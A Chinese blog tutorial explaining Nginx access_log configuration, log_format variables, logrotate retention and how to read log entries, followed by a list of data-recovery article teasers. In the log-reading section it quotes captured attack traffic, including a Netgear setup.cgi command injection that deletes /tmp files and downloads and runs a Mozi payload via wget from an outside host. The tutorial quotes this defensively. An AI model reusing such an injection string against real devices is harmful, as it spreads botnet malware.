百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

Nginx access_log 运行日志查询和配置

nanshan 2024-11-19 07:50 23 浏览 0 评论

1. 介绍

当我们学会Nginx的基本配置之后,可以通过Nginx配置Service代理。管理服务器所有的http和https请求。

那么接下来就需要了解Nginx的日志控制,以及相关的文档查看了。

你通过阅读相关的日志文档,可以摸清楚当前的网络请求发生了一些什么东西,你也能够看到互联网背后的一些黑暗的地方。

以下内容基于zinyan.com 我的博客内容的访问数据做示例进行的介绍。可能有部分偏颇之处望谅解。

2. Nginx 日志配置

Nginx的各种配置都是在nginx.conf文件中配置的。我们如果安装Nginx之后没有做太多定制的修改。

那么日志文件的地址和日志文件的配置可以在nginx.conf中看到。

而且,Nginx默认就会帮我们开启运行日志记录和错误日志记录这两种情况。这里我们先了解运行日志 access_log 吧。

通过vim 命令打开nginx.conf配置文件:

[root@iZuf ~]# vim /etc/nginx/nginx.conf

在打开的文件中,和http等同一级别的,有一个 error_log /var/log/nginx/error.log notice; 这个就是我们的error错误日志的记录存储目录和相关配置了。

而access_log 日志在http标签内。有两个配置项定义了access_log 日志,效果如下:

http {
   ....
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;
    ...

上面的log_format 定义了日志的格式规范和名称。 下面 access_log 定义了日志的存储路径和应用的规范。

例如默认的规范定义为main,所以下面的引用就是main。

以上内容,为Nginx 默认就会携带的内容数据。

2.1 log_format

这个参数的选项定义了日志记录的文本格式,只有弄明白了这个规范后才能比较明白的阅读access.log 文档。了解在请求过程中发生的事情。

用默认示例做一个介绍:

log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

如果是按照上面的格式定义。那么输出的日志记录将会是:

$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for"'
 访问者Ip地址 - 访问者用户名 [访问服务器的时间] "请求的URL和HTTP协议" 服务器响应状态 发送给客户端的内容大小 "url跳转来源" "用户终端浏览器等信息" "HTTP 请求端真实 IP"

例如根据上面的规则,每一条请求日志都会被记录下来。下面是我抓取的一条日志展示如下:

39.173.107.137 - - [17/Nov/2022:09:57:33 +0800] "GET /?p=187 HTTP/1.1" 200 21893 "https://quark.sm.cn/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X; zh-cn) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/19C56 Quark/5.4.9.1257 Mobile" "-"

可以看到 :

  • $remote_addr 访问ip地址是 39.173.107.137。
  • $remote_user 访问者用户名 是个空的。所以展示的效果就会是 -带表没有值。
  • $time_local 访问时间,由于模板中使用了[]进行包裹,所以展示效果是:[17/Nov/2022:09:57:33 +0800] 这个时间会携带有时区。
  • $request 请求的URL地址和使用的HTTP协议,因为它使用了""包裹,所以在日志中展示效果就是:"GET /?p=187 HTTP/1.1"。
  • $status 服务器响应状态,例如404,505,200等。示例请求成功了,所以上面显示的效果就是:200。
  • $body_bytes_sent 请求内容的大小。如果是网页就会返回网页的大小,如果是文件就会返回文件的大小。例如我的示例返回的就是:21893页面大小。
  • $http_referer url跳转来源。因为模板中使用了""进行包裹,所以示例代码中显示为:"https://quark.sm.cn/" 也告诉了我这个用户是通过夸克浏览器访问的。
  • $http_user_agent:用户终端浏览器等信息,会告诉我们用户使用的系统浏览器等信息,由于模板中使用了""对关键字的包裹。所以我的示例中返回的效果就是:"Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X; zh-cn) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/19C56 Quark/5.4.9.1257 Mobile" 我们可以通过上面的信息,知道终端来源于IPhone 设备。
  • $http_x_forwarded_for HTTP 请求端真实 IP这个字段使用了""进行包裹。但是我的数据没有能够正常返回,所以模板中的内容展示"-"。代表这是个空值。

总结:

通过 ''定义了一窜字符串模板,每个$+变量名就是一个动态参数。最后Nginx就会将这一串字符串存储在access_log 文件中。

默认模板中,展示的数据比较少。下面将整个字段进行一个汇总:

参数

说明

示例

$remote_addr

访问ip地址

39.173.107.137 客户的ip地址

$remote_user

访问者用户名

这个是历史遗留的数据了,通常情况下我们得到的都是 —

$time_local

访问时间

样板为:17/Nov/2022:09:57:33 +0800

$time_iso8601

访问时间

样板为:2011-11-17T09:57:33 +0800

$request

请求的URI和HTTP协议

GET /?p=187 HTTP/1.1

$http_host

请求地址,即浏览器中你输入的地址(IP或域名)

zinyan.com

$status

HTTP请求状态

200

$upstream_status

upstream状态

200

$body_bytes_sent

发送给客户端文件内容大小

21893

$http_referer

url跳转来源

https://quark.sm.cn/

$http_user_agent

用户终端浏览器等信息

Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X; zh-cn) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/19C56 Quark/5.4.9.1257 Mobile

$http_x_forwarded_for

HTTP 请求端真实 IP

如果是通过代理访问,那通常会是个空,输出的效果就是:-

$ssl_protocol

SSL协议版本

TLSv3

$ssl_cipher

交换数据中的算法

RC4-SHA

$upstream_addr

后台upstream的地址,即真正提供服务的主机地址

也就是我们的服务器ip地址

$request_time

整个请求的总时间

0.155

$upstream_response_time

请求过程中,upstream响应时间

0.005




当我们弄明白了模板的参数意义,就可以阅读自己的access.log文件了。

2.2 access.log

日志文档通常存储在:/var/log/nginx/目录下。例如:

[root@iZuf ~]# cd /var/log/nginx/
[root@iZuf nginx]# ls
access.log              access.log-20221023.gz  error.log-20220927.gz  error.log-20221024.gz
access.log-20220927.gz  access.log-20221024.gz  error.log-20220928.gz  error.log-20221025.gz
access.log-20220928.gz  access.log-20221025.gz  error.log-20220929.gz  error.log-20221026.gz
access.log-20220929.gz  access.log-20221026.gz  error.log-20220930.gz  error.log-20221027.gz
access.log-20220930.gz  access.log-20221027.gz  error.log-20221001.gz  error.log-20221028.gz
access.log-20221001.gz  access.log-20221028.gz  error.log-20221002.gz  error.log-20221029.gz
access.log-20221002.gz  access.log-20221029.gz  error.log-20221003.gz  error.log-20221030.gz
access.log-20221003.gz  access.log-20221030.gz  error.log-20221004.gz  error.log-20221031.gz
access.log-20221004.gz  access.log-20221031.gz  error.log-20221005.gz  error.log-20221101.gz
access.log-20221005.gz  access.log-20221101.gz  error.log-20221006.gz  error.log-20221102.gz
access.log-20221006.gz  access.log-20221102.gz  error.log-20221007.gz  error.log-20221103.gz
access.log-20221007.gz  access.log-20221103.gz  error.log-20221008.gz  error.log-20221104.gz
access.log-20221008.gz  access.log-20221104.gz  error.log-20221009.gz  error.log-20221105.gz
access.log-20221009.gz  access.log-20221105.gz  error.log-20221010.gz  error.log-20221106.gz
access.log-20221010.gz  access.log-20221106.gz  error.log-20221011.gz  error.log-20221107.gz
access.log-20221011.gz  access.log-20221107.gz  error.log-20221012.gz  error.log-20221108.gz
access.log-20221012.gz  access.log-20221108.gz  error.log-20221013.gz  error.log-20221109.gz
access.log-20221013.gz  access.log-20221109.gz  error.log-20221014.gz  error.log-20221110.gz
access.log-20221014.gz  access.log-20221110.gz  error.log-20221015.gz  error.log-20221111.gz
access.log-20221015.gz  access.log-20221111.gz  error.log-20221016.gz  error.log-20221112.gz
access.log-20221016.gz  access.log-20221112.gz  error.log-20221017.gz  error.log-20221113.gz
access.log-20221017.gz  access.log-20221113.gz  error.log-20221018.gz  error.log-20221114.gz
access.log-20221018.gz  access.log-20221114.gz  error.log-20221019.gz  error.log-20221115.gz
access.log-20221019.gz  access.log-20221115.gz  error.log-20221020.gz  error.log-20221116.gz
access.log-20221020.gz  access.log-20221116.gz  error.log-20221021.gz  error.log-20221117
access.log-20221021.gz  access.log-20221117     error.log-20221022.gz
access.log-20221022.gz  error.log               error.log-20221023.gz

error.log 是属于错误日志,这里就先不解释了。我们主要看access.log日志

上面的access.log 里面现在会实时记录当天的请求,同时也会创建一个access.log-2022-11-17文件其实这个文件是复制的上一天的日志。

如果你想看当天的请求日志,直接通过access.log文件进行查看就可以了。

如果想看之前一段时间的日志,就需要访问指定日期的gz压缩包,进行解压之后访问了。

例如上面的示例,我的日志文件记录了9月27日到11月17日这期间的日志。

当11月18日到来时,我的9月27日的日志将会被删除。

PS:access.log日志默认缓存了4+31+16 = 51天+今天=52天的日志。

2.2.1 配置日志保留时间

通常nginx的日志轮询配置文件会存储在 /etc/logrotate.d/nginx 文件中。通过vim命令打开文件:vim /etc/logrotate.d/nginx可以看到下面

/var/log/nginx/*.log {
       ...
        rotate 52
        ...
}

其中的rotate 就是我们的日志保留时间了。例如我的是52,我们可以根据自己的需求修改为其他整数日期。例如 15,30等天数。

修改完毕后,需要执行:

logrotate /etc/logrotate.d/nginx让配置生效。就可以了。

2.2.2 日志阅读

日志文档的阅读方式有很多,可以在Linux通过cat命令或者vim命令进行阅读。也可以将log导出到本地,通过各种文本工具进行阅读。

例如明显发动攻击的:

183.232.170.216 - - [17/Nov/2022:03:32:19 +0800] "HEAD /1234.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /1.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /a.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /888.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /admin8.php HTTP/1.1" 301 0 "-" "-" "-"

还有一些是想通过注入执行的。例如下面的想通过在传值中添加rm 和rf指令,然后再通过wget执行下载:

115.62.157.248 - - [17/Nov/2022:16:22:18 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://115.62.157.248:55546/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 301 162 "-" "-" "-"

等等操作,你会发现我们的服务器从上线发布之后,就有各种的攻击在访问。

同时,也会有一些搜索浏览器的爬虫在不断抓取我们的网站。

PS:我们可以通过日志得到的一些信息,写拦截配置。这里就不扩展介绍如何写拦截配置了。之后会分享如何配置自己的nginx拦截

2.3 自定义日志Format格式

通过上面的分析,我们可以知道nginx默认的log日志有很多参数已经过时了,或者大概率取不到。例如$remote_user ,$http_x_forwarded_for等字段。

例如我们自定义一下:

log_format  main  'Status:$status,Bytes:$body_bytes_sent,IP:$remote_addr,Time:[$time_iso8601],Request:"$request" ,Referer:"$http_referer",UserAgent:"$http_user_agent",RequestTime:[$request_time]';

然后保存文档,执行nginx -t 检测一下我们配置的命令有没有问题。如果返回 is Successful 就代表没有问题。例如:

[root@iZuf nginx]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

如果输出:

[root@iZuf nginx]# nginx -t
nginx: [emerg] unknown "remote_addrm" variable
nginx: configuration file /etc/nginx/nginx.conf test failed

就说明有错误了,例如上面就提醒我,输入的一个错误的变量remote_addrm nginx没有这个变量。(PS:我上面的示例是对的,这里只是介绍下如果错误了回出现的情况。)

检测通过后,我们就可以执行: service nginx reload 刷新配置了。示例如下:

[root@iZuf nginx]# service nginx reload
Redirecting to /bin/systemctl reload nginx.service
[root@iZuf nginx]#

刷新过程中,不会影响前端的访问。等几秒之后,我们再阅读access.log文件就可以看到我们配置后格式的日志清单了。

3. 小结

主要介绍了access的一些基本情况和日志内容的阅读。有很多工具可以帮我们自动阅读access.log文本,例如宝塔中的日志阅读,例如阿里云服务器的

https://www.aliyun.com/product/sls?source=5176.11533457&userCode=w5jkvc5z 日志服务等都可以一键式管理我们的日志数据,并且提供分析报告。

这里只是介绍了,如何阅读日志。我们通过日志得到的ip,请求等等逻辑,可以定制自己的拦截规则。减少和防范攻击。

相关推荐

服务器数据恢复—Raid5数据灾难不用愁,Raid5数据恢复原理了解下

Raid5数据恢复算法原理:分布式奇偶校验的独立磁盘结构(被称之为raid5)的数据恢复有一个“奇偶校验”的概念。可以简单的理解为二进制运算中的“异或运算”,通常使用的标识是xor。运算规则:若二者值...

服务器数据恢复—多次异常断电导致服务器raid不可用的数据恢复

服务器数据恢复环境&故障:由于机房多次断电导致一台服务器中raid阵列信息丢失。该阵列中存放的是文档,上层安装的是Windowsserver操作系统,没有配置ups。因为服务器异常断电重启后,rai...

服务器数据恢复-V7000存储更换磁盘数据同步失败的数据恢复案例

服务器数据恢复环境:P740+AIX+Sybase+V7000存储,存储阵列柜上共12块SAS机械硬盘(其中一块为热备盘)。服务器故障:存储阵列柜中有磁盘出现故障,工作人员发现后更换磁盘,新更换的磁盘...

「服务器数据恢复」重装系统导致XFS文件系统分区丢失的数据恢复

服务器数据恢复环境:DellPowerVault系列磁盘柜;用RAID卡创建的一组RAID5;分配一个LUN。服务器故障:在Linux系统层面对LUN进行分区,划分sdc1和sdc2两个分区。将sd...

服务器数据恢复-ESXi虚拟机被误删的数据恢复案例

服务器数据恢复环境:一台服务器安装的ESXi虚拟化系统,该虚拟化系统连接了多个LUN,其中一个LUN上运行了数台虚拟机,虚拟机安装WindowsServer操作系统。服务器故障&分析:管理员因误操作...

「服务器数据恢复」Raid5阵列两块硬盘亮黄灯掉线的数据恢复案例

服务器数据恢复环境:HPStorageWorks某型号存储;虚拟化平台为vmwareexsi;10块磁盘组成raid5(有1块热备盘)。服务器故障:raid5阵列中两块硬盘指示灯变黄掉线,无法读取...

服务器数据恢复—基于oracle数据库的SAP数据恢复案例

服务器存储数据恢复环境:某品牌服务器存储中有一组由6块SAS硬盘组建的RAID5阵列,其中有1块硬盘作为热备盘使用。上层划分若干lun,存放Oracle数据库数据。服务器存储故障&分析:该RAID5阵...

「服务器虚拟化数据恢复」Xen Server环境下数据库数据恢复案例

服务器虚拟化数据恢复环境:Dell某型号服务器;数块STAT硬盘通过raid卡组建的RAID10;XenServer服务器虚拟化系统;故障虚拟机操作系统:WindowsServer,部署Web服务...

服务器数据恢复—RAID故障导致oracle无法启动的数据恢复案例

服务器数据恢复环境:某品牌服务器中有一组由4块SAS磁盘做的RAID5磁盘阵列。该服务器操作系统为windowsserver,运行了一个单节点Oracle,数据存储为文件系统,无归档。该oracle...

服务器数据恢复—服务器磁盘阵列常见故障表现&解决方案

RAID(磁盘阵列)是一种将多块物理硬盘整合成一个虚拟存储的技术,raid模块相当于一个存储管理的中间层,上层接收并执行操作系统及文件系统的数据读写指令,下层管理数据在各个物理硬盘上的存储及读写。相对...

「服务器数据恢复」IBM某型号服务器RAID5磁盘阵列数据恢复案例

服务器数据恢复环境:IBM某型号服务器;5块SAS硬盘组成RAID5磁盘阵列;存储划分为1个LUN和3个分区:第一个分区存放windowsserver系统,第二个分区存放SQLServer数据库,...

服务器数据恢复—Zfs文件系统下误删除文件如何恢复数据?

服务器故障:一台zfs文件系统服务器,管理员误操作删除服务器上的数据。服务器数据恢复过程:1、将故障服务器所有磁盘编号后取出,硬件工程师检测所有硬盘后没有发现有磁盘存在硬件故障。以只读方式将全部磁盘做...

服务器数据恢复—Linux+raid5服务器数据恢复案例

服务器数据恢复环境:某品牌linux操作系统服务器,服务器中有4块SAS接口硬盘组建一组raid5阵列。服务器中存放的数据有数据库、办公文档、代码文件等。服务器故障&检测:服务器在运行过程中突然瘫痪,...

服务器数据恢复—Sql Server数据库数据恢复案例

服务器数据恢复环境:一台安装windowsserver操作系统的服务器。一组由8块硬盘组建的RAID5,划分LUN供这台服务器使用。在windows服务器内装有SqlServer数据库。存储空间LU...

服务器数据恢复—阿里云ECS网站服务器数据恢复案例

云服务器数据恢复环境:阿里云ECS网站服务器,linux操作系统+mysql数据库。云服务器故障:在执行数据库版本更新测试时,在生产库误执行了本来应该在测试库执行的sql脚本,导致生产库部分表被tru...

取消回复欢迎 发表评论: